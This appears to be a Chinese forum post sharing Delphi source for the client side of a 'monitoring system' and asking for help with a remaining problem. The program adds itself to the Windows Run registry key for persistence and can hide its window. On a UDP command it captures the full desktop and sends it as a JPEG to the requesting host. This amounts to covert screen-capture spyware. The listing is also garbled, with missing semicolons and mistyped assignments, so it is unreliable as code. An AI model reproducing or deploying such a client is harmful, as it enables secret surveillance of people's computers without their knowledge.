好吧,我公开源码了!
这是一个监控系统的受控端,接到指令后向主控端发送屏幕图像。
我碰到的这个问题是最后的问题了,解决了我可以公开所有源码(主控端和被控端),
那位感兴趣帮忙吧,谢了!
==============================================================================
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, HotKeySpy, StdCtrls, Psock, NMSTRM, NMUDP, registry, jpeg;
type
TForm1 = class(TForm)
HotKeySpy1: THotKeySpy;
Label1: TLabel;
udp: TNMUDP;
strm: TNMStrm;
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure HotKeySpy1HotKeys0HotKey(Sender: TObject);
procedure udpDataReceived(Sender: TComponent
NumberBytes: Integer;
FromIP: String
Port: Integer);
procedure Button1Click(Sender: TObject);
procedure FormCloseQuery(Sender: TObject
var CanClose: Boolean);
private
{ Private declarations }
procedure queryEndSession(var msg : TMessage)
message WM_QUERYENDSESSION;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var
at : ATOM;
reg : TRegistry;
begin
// find the 'spy_client_atom' atom
at := GlobalFindAtom('spy_client_atom');
if at<>0 then application.Terminate
// found,exit
//add global atom
try
GlobalAddAtom('spy_client_atom');
except
close;
end;
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion/Run',true);
reg.WriteString('spy_client',application.ExeName);
reg.CloseKey;
reg.Free;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
try
GlobalDeleteAtom(GlobalFindAtom('spy_client_atom'));
except
//noop
end;
end;
procedure TForm1.HotKeySpy1HotKeys0HotKey(Sender: TObject);
begin
self.Show;
end;
procedure TForm1.udpDataReceived(Sender: TComponent
NumberBytes: Integer;
FromIP: String
Port: Integer);
var
buf : array[1..255] of char;
i : integer;
k : cardinal;
temp : string;
cav : TCanvas;
bmp : TBitmap;
jpg : TJpegImage;
mem : TMemoryStream;
begin
if numberBytes>255 then exit
// buffer too large, deny.
udp.readBuffer(buf,i);
if buf[1]+buf[2]+buf[3] = 'who' then
begin
k := 255;
setLength(temp,k);
GetComputerName(pchar(temp),k);
setLength(temp,k);
for i:=1 to k do
buf[i+3] := temp;
buf[1] := 'i';
buf[2] := 'a';
buf[3] := 'm';
try
udp.RemoteHost := FromIp;
udp.RemotePort := port;
udp.SendBuffer(buf,k+3);
except
exit;
end;
exit;
end;
if buf[1]+buf[2]+buf[3]+buf[4] = 'show' then
begin
cav := TCanvas.Create;
bmp := TBitmap.Create;
jpg := TJpegImage.Create;
mem := TMemoryStream.Create;
try
try
cav.Handle := GetWindowDC(GetDesktopWindow());
bmp.Width := screen.Width;
bmp.Height := screen.Height;
bmp.Canvas.CopyRect(rect(0,0,screen.Width,screen.height),cav,rect(0,0,screen.Width,screen.Height));
jpg.Assign(bmp);
jpg.CompressionQuality := ord(buf[5]);
jpg.Compress;
jpg.SaveToStream(mem);
//get computer name
k := 255;
setLength(temp,k);
GetComputerName(pchar(temp),k);
setLength(temp,k);
//done
strm.FromName := temp;
strm.Host := FromIP;
strm.Port := 6667;
strm.PostIt(mem);
finally
cav.Free;
bmp.free;
jpg.Free;
mem.Free;
end;
except
exit;
end;
exit;
end
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
self.Visible := false;
end;
procedure TForm1.FormCloseQuery(Sender: TObject
var CanClose: Boolean);
begin
CanClose := true;
end;
procedure TForm1.queryEndSession(var msg: TMessage);
begin
application.Terminate;
msg.Result := 1;
end;
end.